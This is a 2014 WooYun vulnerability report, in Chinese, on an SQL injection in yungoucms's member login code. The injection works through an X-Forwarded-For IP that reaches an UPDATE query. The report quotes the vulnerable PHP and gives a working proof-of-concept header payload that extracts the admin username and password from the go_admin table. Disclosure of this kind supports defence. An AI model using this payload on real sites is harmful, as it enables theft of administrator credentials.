当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063747

漏洞标题:yungoucms一处sql注入漏洞

相关厂商:yungoucms.com

漏洞作者: 酱油甲

提交时间:2014-06-06 16:09

修复时间:2014-09-01 16:10

公开时间:2014-09-01 16:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-06: 细节已通知厂商并且等待厂商处理中
2014-06-11: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-05: 细节向核心白帽子及相关领域专家公开
2014-08-15: 细节向普通白帽子公开
2014-08-25: 细节向实习白帽子公开
2014-09-01: 细节向公众公开

简要描述:

yungoucms一处sql注入漏洞

详细说明:

云购CMS一处SQL注入漏洞
问题文件/system/modules/member/user.action.php

public function login(){	
$user = $this->userinfo;
if($user){
header("Location:".G_WEB_PATH);exit;
}else if(!$this->segment(4)){
global $_cfg;
$url = WEB_PATH.'/'.$_cfg['param_arr']['url'];
$url = rtrim($url,'/');
$url .= '/'.base64_encode(trim(G_HTTP_REFERER));
if($url != get_web_url()){
header("Location:".$url);exit;
}
}

if(isset($_POST['submit'])){
$username=$_POST['username'];
$password=md5($_POST['password']);
$logintype='';
if(strpos($username,'@')==false){
//手机
$logintype='mobile';
if(!_checkmobile($username)){
_message("手机格式不正确!");
}
}else{
//邮箱
$logintype='email';
if(!_checkemail($username)){
_message("邮箱格式不正确!");
}
}
$member=$this->db->GetOne("select * from `@#_member` where `$logintype`='$username' and `password`='$password'");
if(!$member){
_message("帐号不存在错误!");
}
$check=$logintype.'code';
if($member[$check] != 1){
$strcode=_encrypt($member['email']);
_message("帐号未认证",WEB_PATH."/member/user/".$logintype."check/"._encrypt($member[$logintype]));
}

if(!is_array($member)){
_message("帐号或密码错误",NULL,3);
}else{
$user_ip = _get_ip_dizhi();
$this->db->GetOne("UPDATE `@#_member` SET `user_ip` = '$user_ip' where `uid` = '$member[uid]'");
_setcookie("uid",_encrypt($member['uid']),60*60*24*7);
_setcookie("ushell",_encrypt(md5($member['uid'].$member['password'].$member['mobile'].$member['email'])),60*60*24*7);

}
_message("登录成功",base64_decode($this->segment(4)),2);

}
include templates("user","login");

}


这里$user_ip = _get_ip_dizhi();
我们看下这个函数:

function _get_ip_dizhi(){
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>5,)
);
$context = stream_context_create($opts);
$ipmac=_get_ip();
if(strpos($ipmac,"127.0.0.") === true)return '';
$url_ip='http://ip.taobao.com/service/getIpInfo.php?ip='.$ipmac;
$str = @file_get_contents($url_ip, false, $context);
if(!$str) return "";
$json=json_decode($str,true);
if($json['code']==0){
$ipcity= $json['data']['region'].$json['data']['city'];
$ip= $ipcity.','.$ipmac;
}else{
$ip="";
}
return $ip;
}


需要if($json['code']==0)
我们看下http://ip.taobao.com/service/getIpInfo.php?ip=
发现只有ip为规则的code才为0,那么怎么办呢?大家应该想到了,对的,多参数,就是使用&
于是我们构造POC:
x-forwarded-for:
8.8.8.8&', `mobile`=(updatexml(1,concat(0x5e24,(select concat(username,0x23,userpass) from go_admin limit 0,1),0x5e24),1))-- -
然后找个能用的帐号登陆一下就是了
http://localhost/yungoucms/?/member/user/login/
post:
submit=1&[email protected]&password=123123
官网测试站点不让修改数据库,没办法,只能本地测了

漏洞证明:

1.jpg

修复方案:

过滤

版权声明:转载请注明来源 酱油甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-01 16:10

厂商回复:

最新状态:

暂无